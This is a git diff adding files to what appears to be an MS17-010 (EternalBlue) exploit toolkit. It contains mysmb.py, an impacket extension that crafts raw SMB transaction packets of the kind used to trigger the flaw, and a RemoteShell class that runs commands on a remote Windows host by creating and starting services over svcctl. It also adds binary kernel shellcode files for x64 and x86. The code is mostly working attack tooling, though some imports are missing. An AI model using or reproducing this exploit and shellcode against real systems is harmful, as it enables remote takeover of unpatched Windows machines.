https://github.com/countercept/doublepulsar-detection-script/blob/master/detect_doublepulsar_smb.py +# http://stackoverflow.com/questions/38735421/packing-an-integer-number-to-3-bytes-in-python +# https://zerosum0x0.blogspot.com/2017/04/doublepulsar-initial-smb-backdoor-ring.html diff --git a/mysmb.py b/mysmb.py new file mode 100644 index 0000000..4ae2eb4 --- /dev/null +++ b/mysmb.py @@ -0,0 +1,583 @@ +# impacket SMB extension for MS17-010 exploit. +# this file contains only valid SMB packet format operation. +from impacket import smb, smbconnection +from impacket.dcerpc.v5 import transport, scmr +from struct import pack +from threading import Thread +import os +import cmd +import string +import random +import logging + + +def getNTStatus(self): + return (self['ErrorCode'] << 16) | (self['_reserved'] << 8) | self['ErrorClass'] +setattr(smb.NewSMBPacket, "getNTStatus", getNTStatus) + +############# SMB_COM_TRANSACTION_SECONDARY (0x26) +class SMBTransactionSecondary_Parameters(smb.SMBCommand_Parameters): + structure = ( + ('TotalParameterCount',' 0: + return found_pipes[0] + else: + return None + + + def set_pid(self, pid): + self._pid = pid + + def get_pid(self): + return self._pid + + def set_last_mid(self, mid): + self._last_mid = mid + + def next_mid(self): + self._last_mid += random.randint(1, 20) + if 0x4000 <= self._last_mid <= 0x4110: + self._last_mid += 0x120 + return self._last_mid + + def get_smbconnection(self): + if self._smbConn is None: + self.smbConn = smbconnection.SMBConnection(self.get_remote_host(), self.get_remote_host(), existingConnection=self) + return self.smbConn + + def get_dce_rpc(self, named_pipe): + smbConn = self.get_smbconnection() + rpctransport = transport.SMBTransport(self.get_remote_host(), self.get_remote_host(), filename='\\'+named_pipe, smb_connection=smbConn) + return rpctransport.get_dce_rpc() + + # override SMB.neg_session() to allow forcing ntlm authentication + def neg_session(self, extended_security=True, negPacket=None): + smb.SMB.neg_session(self, extended_security=self.__use_ntlmv2, negPacket=negPacket) + + # to use any login method, SMB must not be used from multiple thread + def login(self, user, password, domain='', lmhash='', nthash='', ntlm_fallback=True, maxBufferSize=None): + _setup_login_packet_hook(maxBufferSize) + smb.SMB.login(self, user, password, domain, lmhash, nthash) + + def login_standard(self, user, password, domain='', lmhash='', nthash='', maxBufferSize=None): + _setup_login_packet_hook(maxBufferSize) + smb.SMB.login_standard(self, user, password, domain, lmhash, nthash) + + def login_extended(self, user, password, domain='', lmhash='', nthash='', use_ntlmv2=True, maxBufferSize=None): + _setup_login_packet_hook(maxBufferSize) + smb.SMB.login_extended(self, user, password, domain, lmhash, nthash, use_ntlmv2) + + def connect_tree(self, path, password=None, service=smb.SERVICE_ANY, smb_packet=None): + self._last_tid = smb.SMB.tree_connect_andx(self, path, password, service, smb_packet) + return self._last_tid + + def get_last_tid(self): + return self._last_tid + + def nt_create_andx(self, tid, filename, smb_packet=None, cmd=None, shareAccessMode=smb.FILE_SHARE_READ|smb.FILE_SHARE_WRITE, disposition=smb.FILE_OPEN, accessMask=0x2019f): + self._last_fid = smb.SMB.nt_create_andx(self, tid, filename, smb_packet, cmd, shareAccessMode, disposition, accessMask) + return self._last_fid + + def get_last_fid(self): + return self._last_fid + + def set_default_tid(self, tid): + self._default_tid = tid + + def set_pkt_flags2(self, flags): + self._pkt_flags2 = flags + + def send_echo(self, data): + pkt = smb.NewSMBPacket() + pkt['Tid'] = self._default_tid + + transCommand = smb.SMBCommand(smb.SMB.SMB_COM_ECHO) + transCommand['Parameters'] = smb.SMBEcho_Parameters() + transCommand['Data'] = smb.SMBEcho_Data() + + transCommand['Parameters']['EchoCount'] = 1 + transCommand['Data']['Data'] = data + pkt.addCommand(transCommand) + + self.sendSMB(pkt) + return self.recvSMB() + + def do_write_andx_raw_pipe(self, fid, data, mid=None, pid=None, tid=None): + writeAndX = smb.SMBCommand(smb.SMB.SMB_COM_WRITE_ANDX) + writeAndX['Parameters'] = smb.SMBWriteAndX_Parameters_Short() + writeAndX['Parameters']['Fid'] = fid + writeAndX['Parameters']['Offset'] = 0 + writeAndX['Parameters']['WriteMode'] = 4 # SMB_WMODE_WRITE_RAW_NAMED_PIPE + writeAndX['Parameters']['Remaining'] = 12345 # can be any. raw named pipe does not use it + writeAndX['Parameters']['DataLength'] = len(data) + writeAndX['Parameters']['DataOffset'] = 32 + len(writeAndX['Parameters']) + 1 + 2 + 1 # WordCount(1), ByteCount(2), Padding(1) + writeAndX['Data'] = '\x00' + data # pad 1 byte + + self.send_raw(self.create_smb_packet(writeAndX, mid, pid, tid)) + return self.recvSMB() + + def create_smb_packet(self, smbReq, mid=None, pid=None, tid=None): + if mid is None: + mid = self.next_mid() + + pkt = smb.NewSMBPacket() + pkt.addCommand(smbReq) + pkt['Tid'] = self._default_tid if tid is None else tid + pkt['Uid'] = self._uid + pkt['Pid'] = self._pid if pid is None else pid + pkt['Mid'] = mid + flags1, flags2 = self.get_flags() + pkt['Flags1'] = flags1 + pkt['Flags2'] = self._pkt_flags2 if self._pkt_flags2 != 0 else flags2 + + if self._SignatureEnabled: + pkt['Flags2'] |= smb.SMB.FLAGS2_SMB_SECURITY_SIGNATURE + self.signSMB(pkt, self._SigningSessionKey, self._SigningChallengeResponse) + + req = str(pkt) + return '\x00'*2 + pack('>H', len(req)) + req # assume length is <65536 + + def send_raw(self, data): + self.get_socket().send(data) + + def create_trans_packet(self, setup, param='', data='', mid=None, maxSetupCount=None, totalParameterCount=None, totalDataCount=None, maxParameterCount=None, maxDataCount=None, pid=None, tid=None, noPad=False): + if maxSetupCount is None: + maxSetupCount = len(setup) + if totalParameterCount is None: + totalParameterCount = len(param) + if totalDataCount is None: + totalDataCount = len(data) + if maxParameterCount is None: + maxParameterCount = totalParameterCount + if maxDataCount is None: + maxDataCount = totalDataCount + transCmd = smb.SMBCommand(smb.SMB.SMB_COM_TRANSACTION) + transCmd['Parameters'] = smb.SMBTransaction_Parameters() + transCmd['Parameters']['TotalParameterCount'] = totalParameterCount + transCmd['Parameters']['TotalDataCount'] = totalDataCount + transCmd['Parameters']['MaxParameterCount'] = maxParameterCount + transCmd['Parameters']['MaxDataCount'] = maxDataCount + transCmd['Parameters']['MaxSetupCount'] = maxSetupCount + transCmd['Parameters']['Flags'] = 0 + transCmd['Parameters']['Timeout'] = 0xffffffff + transCmd['Parameters']['ParameterCount'] = len(param) + transCmd['Parameters']['DataCount'] = len(data) + transCmd['Parameters']['Setup'] = setup + _put_trans_data(transCmd, param, data, noPad) + return self.create_smb_packet(transCmd, mid, pid, tid) + + def send_trans(self, setup, param='', data='', mid=None, maxSetupCount=None, totalParameterCount=None, totalDataCount=None, maxParameterCount=None, maxDataCount=None, pid=None, tid=None, noPad=False): + self.send_raw(self.create_trans_packet(setup, param, data, mid, maxSetupCount, totalParameterCount, totalDataCount, maxParameterCount, maxDataCount, pid, tid, noPad)) + return self.recvSMB() + + def create_trans_secondary_packet(self, mid, param='', paramDisplacement=0, data='', dataDisplacement=0, pid=None, tid=None, noPad=False): + transCmd = smb.SMBCommand(smb.SMB.SMB_COM_TRANSACTION_SECONDARY) + transCmd['Parameters'] = SMBTransactionSecondary_Parameters() + transCmd['Parameters']['TotalParameterCount'] = len(param) + transCmd['Parameters']['TotalDataCount'] = len(data) + transCmd['Parameters']['ParameterCount'] = len(param) + transCmd['Parameters']['ParameterDisplacement'] = paramDisplacement + transCmd['Parameters']['DataCount'] = len(data) + transCmd['Parameters']['DataDisplacement'] = dataDisplacement + + _put_trans_data(transCmd, param, data, noPad) + return self.create_smb_packet(transCmd, mid, pid, tid) + + def send_trans_secondary(self, mid, param='', paramDisplacement=0, data='', dataDisplacement=0, pid=None, tid=None, noPad=False): + self.send_raw(self.create_trans_secondary_packet(mid, param, paramDisplacement, data, dataDisplacement, pid, tid, noPad)) + + def create_trans2_packet(self, setup, param='', data='', mid=None, maxSetupCount=None, totalParameterCount=None, totalDataCount=None, maxParameterCount=None, maxDataCount=None, pid=None, tid=None, noPad=False): + if maxSetupCount is None: + maxSetupCount = len(setup) + if totalParameterCount is None: + totalParameterCount = len(param) + if totalDataCount is None: + totalDataCount = len(data) + if maxParameterCount is None: + maxParameterCount = totalParameterCount + if maxDataCount is None: + maxDataCount = totalDataCount + transCmd = smb.SMBCommand(smb.SMB.SMB_COM_TRANSACTION2) + transCmd['Parameters'] = smb.SMBTransaction2_Parameters() + transCmd['Parameters']['TotalParameterCount'] = totalParameterCount + transCmd['Parameters']['TotalDataCount'] = totalDataCount + transCmd['Parameters']['MaxParameterCount'] = maxParameterCount + transCmd['Parameters']['MaxDataCount'] = maxDataCount + transCmd['Parameters']['MaxSetupCount'] = len(setup) + transCmd['Parameters']['Flags'] = 0 + transCmd['Parameters']['Timeout'] = 0xffffffff + transCmd['Parameters']['ParameterCount'] = len(param) + transCmd['Parameters']['DataCount'] = len(data) + transCmd['Parameters']['Setup'] = setup + _put_trans_data(transCmd, param, data, noPad) + return self.create_smb_packet(transCmd, mid, pid, tid) + + def create_trans2_secondary_packet(self, mid, param='', paramDisplacement=0, data='', dataDisplacement=0, pid=None, tid=None, noPad=False): + transCmd = smb.SMBCommand(smb.SMB.SMB_COM_TRANSACTION2_SECONDARY) + transCmd['Parameters'] = SMBTransaction2Secondary_Parameters() + transCmd['Parameters']['TotalParameterCount'] = len(param) + transCmd['Parameters']['TotalDataCount'] = len(data) + transCmd['Parameters']['ParameterCount'] = len(param) + transCmd['Parameters']['ParameterDisplacement'] = paramDisplacement + transCmd['Parameters']['DataCount'] = len(data) + transCmd['Parameters']['DataDisplacement'] = dataDisplacement + + _put_trans_data(transCmd, param, data, noPad) + return self.create_smb_packet(transCmd, mid, pid, tid) + + def send_trans2_secondary(self, mid, param='', paramDisplacement=0, data='', dataDisplacement=0, pid=None, tid=None, noPad=False): + self.send_raw(self.create_trans2_secondary_packet(mid, param, paramDisplacement, data, dataDisplacement, pid, tid, noPad)) + + def create_nt_trans_packet(self, function, setup='', param='', data='', mid=None, maxSetupCount=None, totalParameterCount=None, totalDataCount=None, maxParameterCount=None, maxDataCount=None, pid=None, tid=None, noPad=False): + if maxSetupCount is None: + maxSetupCount = len(setup) + if totalParameterCount is None: + totalParameterCount = len(param) + if totalDataCount is None: + totalDataCount = len(data) + if maxParameterCount is None: + maxParameterCount = totalParameterCount + if maxDataCount is None: + maxDataCount = totalDataCount + transCmd = smb.SMBCommand(smb.SMB.SMB_COM_NT_TRANSACT) + transCmd['Parameters'] = smb.SMBNTTransaction_Parameters() + transCmd['Parameters']['MaxSetupCount'] = maxSetupCount + transCmd['Parameters']['TotalParameterCount'] = totalParameterCount + transCmd['Parameters']['TotalDataCount'] = totalDataCount + transCmd['Parameters']['MaxParameterCount'] = maxParameterCount + transCmd['Parameters']['MaxDataCount'] = maxDataCount + transCmd['Parameters']['ParameterCount'] = len(param) + transCmd['Parameters']['DataCount'] = len(data) + transCmd['Parameters']['Function'] = function + transCmd['Parameters']['Setup'] = setup + _put_trans_data(transCmd, param, data, noPad) + return self.create_smb_packet(transCmd, mid, pid, tid) + + def send_nt_trans(self, function, setup='', param='', data='', mid=None, maxSetupCount=None, totalParameterCount=None, totalDataCount=None, maxParameterCount=None, maxDataCount=None, pid=None, tid=None, noPad=False): + self.send_raw(self.create_nt_trans_packet(function, setup, param, data, mid, maxSetupCount, totalParameterCount, totalDataCount, maxParameterCount, maxDataCount, pid, tid, noPad)) + return self.recvSMB() + + def create_nt_trans_secondary_packet(self, mid, param='', paramDisplacement=0, data='', dataDisplacement=0, pid=None, tid=None, noPad=False): + transCmd = smb.SMBCommand(smb.SMB.SMB_COM_NT_TRANSACT_SECONDARY) + transCmd['Parameters'] = SMBNTTransactionSecondary_Parameters() + transCmd['Parameters']['TotalParameterCount'] = len(param) + transCmd['Parameters']['TotalDataCount'] = len(data) + transCmd['Parameters']['ParameterCount'] = len(param) + transCmd['Parameters']['ParameterDisplacement'] = paramDisplacement + transCmd['Parameters']['DataCount'] = len(data) + transCmd['Parameters']['DataDisplacement'] = dataDisplacement + _put_trans_data(transCmd, param, data, noPad) + return self.create_smb_packet(transCmd, mid, pid, tid) + + def send_nt_trans_secondary(self, mid, param='', paramDisplacement=0, data='', dataDisplacement=0, pid=None, tid=None, noPad=False): + self.send_raw(self.create_nt_trans_secondary_packet(mid, param, paramDisplacement, data, dataDisplacement, pid, tid, noPad)) + + def recv_transaction_data(self, mid, minLen): + data = '' + while len(data) < minLen: + recvPkt = self.recvSMB() + if recvPkt['Mid'] != mid: + continue + resp = smb.SMBCommand(recvPkt['Data'][0]) + data += resp['Data'][1:] # skip padding + #print(len(data)) + return data + +class RemoteShell(cmd.Cmd): + def __init__(self, share, rpc, mode, serviceName): + cmd.Cmd.__init__(self) + self.__share = share + self.__mode = mode + self.__outputFilename = ''.join([random.choice(string.letters) for _ in range(4)]) + self.__output = '\\\\127.0.0.1\\{}\\{}'.format(self.__share,self.__outputFilename) + self.__batchFile = '%TEMP%\\{}.bat'.format(''.join([random.choice(string.letters) for _ in range(4)])) + self.__outputBuffer = b'' + self.__command = '' + self.__shell = '%COMSPEC% /Q /c ' + self.__serviceName = serviceName + self.__rpc = rpc + self.intro = '[!] Dropping a semi-interactive shell (remember to escape special chars with ^) \n[!] Executing interactive programs will hang shell!' + + self.__scmr = rpc.get_dce_rpc('svcctl') + try: + self.__scmr.connect() + except Exception as e: + logging.critical(str(e)) + sys.exit(1) + + s = rpc.get_smbconnection() + + # We don't wanna deal with timeouts from now on. + s.setTimeout(100000) + if mode == 'SERVER': + myIPaddr = s.getSMBServer().get_socket().getsockname()[0] + self.__copyBack = 'copy %s \\\\%s\\%s' % (self.__output, myIPaddr, DUMMY_SHARE) + + self.__scmr.bind(scmr.MSRPC_UUID_SCMR) + resp = scmr.hROpenSCManagerW(self.__scmr) + self.__scHandle = resp['lpScHandle'] + self.transferClient = rpc.get_smbconnection() + self.do_cd('') + + def finish(self): + # Just in case the service is still created + try: + self.__scmr = self.__rpc.get_dce_rpc() + self.__scmr.connect() + self.__scmr.bind(scmr.MSRPC_UUID_SCMR) + resp = scmr.hROpenSCManagerW(self.__scmr) + self.__scHandle = resp['lpScHandle'] + resp = scmr.hROpenServiceW(self.__scmr, self.__scHandle, self.__serviceName) + service = resp['lpServiceHandle'] + scmr.hRDeleteService(self.__scmr, service) + scmr.hRControlService(self.__scmr, service, scmr.SERVICE_CONTROL_STOP) + scmr.hRCloseServiceHandle(self.__scmr, service) + except scmr.DCERPCException: + pass + + def do_shell(self, s): + os.system(s) + + def do_exit(self, s): + return True + + def emptyline(self): + return False + + def do_cd(self, s): + # We just can't CD or maintain track of the target dir. + if len(s) > 0: + logging.error("You can't CD under SMBEXEC. Use full paths.") + + self.execute_remote('cd ' ) + if len(self.__outputBuffer) > 0: + # Stripping CR/LF + self.prompt = self.__outputBuffer.decode().replace('\r\n','') + '>' + self.__outputBuffer = b'' + + def do_CD(self, s): + return self.do_cd(s) + + def default(self, line): + if line != '': + self.send_data(line) + + def get_output(self): + def output_callback(data): + self.__outputBuffer += data + + if self.__mode == 'SHARE': + self.transferClient.getFile(self.__share, self.__outputFilename, output_callback) + self.transferClient.deleteFile(self.__share, self.__outputFilename) + else: + fd = open(SMBSERVER_DIR + '/' + self.__outputFilename,'r') + output_callback(fd.read()) + fd.close() + os.unlink(SMBSERVER_DIR + '/' + self.__outputFilename) + + def execute_remote(self, data): + to_batch = '{} echo {} ^> {} 2^>^&1 > {}'.format(self.__shell, data, self.__output, self.__batchFile) + command = '{} & {} {}'.format(to_batch, self.__shell, self.__batchFile) + if self.__mode == 'SERVER': + command += ' & ' + self.__copyBack + command = '{} & del {}'.format(command, self.__batchFile ) + logging.debug('Executing %s' % command) + resp = scmr.hRCreateServiceW(self.__scmr, self.__scHandle, self.__serviceName, self.__serviceName, + lpBinaryPathName=command, dwStartType=scmr.SERVICE_DEMAND_START) + service = resp['lpServiceHandle'] + + try: + scmr.hRStartServiceW(self.__scmr, service) + except: + pass + scmr.hRDeleteService(self.__scmr, service) + scmr.hRCloseServiceHandle(self.__scmr, service) + self.get_output() + #print(self.__outputBuffer) + + def send_data(self, data): + self.execute_remote(data) + print(self.__outputBuffer.decode()) + self.__outputBuffer = b'' + +class SMBServer(Thread): + def __init__(self): + Thread.__init__(self) + self.smb = None + + def cleanup_server(self): + logging.info('Cleaning up..') + try: + os.unlink(SMBSERVER_DIR + '/smb.log') + except: + pass + os.rmdir(SMBSERVER_DIR) + + def run(self): + # Here we write a mini config for the server + smbConfig = ConfigParser.ConfigParser() + smbConfig.add_section('global') + smbConfig.set('global','server_name','server_name') + smbConfig.set('global','server_os','UNIX') + smbConfig.set('global','server_domain','WORKGROUP') + smbConfig.set('global','log_file',SMBSERVER_DIR + '/smb.log') + smbConfig.set('global','credentials_file','') + + # Let's add a dummy share + smbConfig.add_section(DUMMY_SHARE) + smbConfig.set(DUMMY_SHARE,'comment','') + smbConfig.set(DUMMY_SHARE,'read only','no') + smbConfig.set(DUMMY_SHARE,'share type','0') + smbConfig.set(DUMMY_SHARE,'path',SMBSERVER_DIR) + + # IPC always needed + smbConfig.add_section('IPC$') + smbConfig.set('IPC$','comment','') + smbConfig.set('IPC$','read only','yes') + smbConfig.set('IPC$','share type','3') + smbConfig.set('IPC$','path') + + self.smb = smbserver.SMBSERVER(('0.0.0.0',445), config_parser = smbConfig) + logging.info('Creating tmp directory') + try: + os.mkdir(SMBSERVER_DIR) + except Exception, e: + logging.critical(str(e)) + pass + logging.info('Setting up SMB Server') + self.smb.processConfigFile() + logging.info('Ready to listen...') + try: + self.smb.serve_forever() + except: + pass + + def stop(self): + self.cleanup_server() + self.smb.socket.close() + self.smb.server_close() + self._Thread__stop() + diff --git a/sc_x64_kernel.bin b/sc_x64_kernel.bin new file mode 100644 index 0000000000000000000000000000000000000000..50bf9f56af8cd4637cd3f836728abb2abcaec699 GIT binary patch literal 772 zcmW+!Ur1A76#uSUI%Bp8LNfw~Oi-e5Iv)m2_kpXkx)<&?_Qx%^mnI|>5gU$B$gYAP z9~aU$pX;F@$a+$G*uBlnSxCJFfvkt>rilwhZyK%d?%{)Te&@&Ucg}ZCRJ()_T6u_& zV(a7O77xpYz3aJlZvf>^lc<>l&{{x8!Fe$W>bBF?J6ZzyBC;a{>aG>kZ&r|Y@0M(w zo(1CSVmQhIb#*=E5E{Rbt$FH@C`PrnwOS2m0D+`*02y}KLt!l95Dw#rTY1G*ZA(!- z-&Svhv1rt6>pjuVFuh}(!bv=W6UmX$LvO>XNi4)Xe@cFR!on?Rau&{1v+ zWWg@D6}FFOtPmaNqF4m!m$SHfqy4rvV93=O<)Y`xhZma50Hjs_tde`oe%Se-aE@b5 z5N7JP>^w@O(ixn_nUdDPh_y;26vOoDWlU$9<`}?px=6u66HcBxsgvftq&mwAObv-?jDuvz3;&XMQg?lrrPX1lS3(>!_a zR)%ez3Xle(!qKN7QI`CoT4@x6gsac9y?7_CWsSp-R(qLB0O%md0|GN&L5&FQKVkD! zf%+ZnIf0@vsQ`}rAy84AzHjYEeJKBvrv+y*9ZE}Dr=dhl?(&?VzvP&;iZkgqAVc6F`8n&hXB=sgQ literal 0 HcmV?d00001 diff --git a/sc_x86_kernel.bin b/sc_x86_kernel.bin new file mode 100644 index 0000000000000000000000000000000000000000..d95125de878ec0628ebde014e60af44c0d4489da GIT binary patch literal 638 zcmXX@O=uHA6rOF@Hp;e1rIHGf3a-$ALQ;b?kkmz7(W{Jm^8iONt0XLq%)Rr3!J9I)`Dt_rC9a@4d+oM9(-m zLht393_|{Xb2=XPw63^_v^Fdvoc3Wa`pzH8uJFiwh5`sVo1F8NGd3l6xuGjW{EKs+ z=A0aK2oyq=l^mVY-4&pOBAGIr|zx$WcK7D`FtU^=%$REN|*-rMMOQAzJ zr^+2~*yPItmsEWli>y_e+5Sx4Q`UlYYBE|rN)gZ8Yq8n(|=LT0Qtx5(1~ zoWxtNWMiB#g7x;6?8($?hr>kBTkFd|}U+Y5j||^{AaLFlnhdXqn~bDM`8#PVghv%c}>c z$We-;wj@a-R_yHB3vz(sSzCJwV(3n(lhN8S!U9{n=aLqhsaG>F#V&xDfZ;tQW&?(L zKt0UV&O;2CZ{!fA#6A57s612419t(`5K{vd7((|N%DO4K+UL%j4rXQ6)_={bu0rDh zWlT{sDH-~rcJ47xYgCp5$*HzU!ztV)52dV)%Joq)P5+3hE-Nt59A?6Jm0oVF?&lK_ zImtR_^;l%2@sR=tLN}niQQ~{_-yrpsZ*eD3KhkTU1n@Q1nvf?9(od;ln2FkVMW3+i Wn{`!18IxtXX<)GYURh4ntN#GOSMd7) literal 0 HcmV?d00001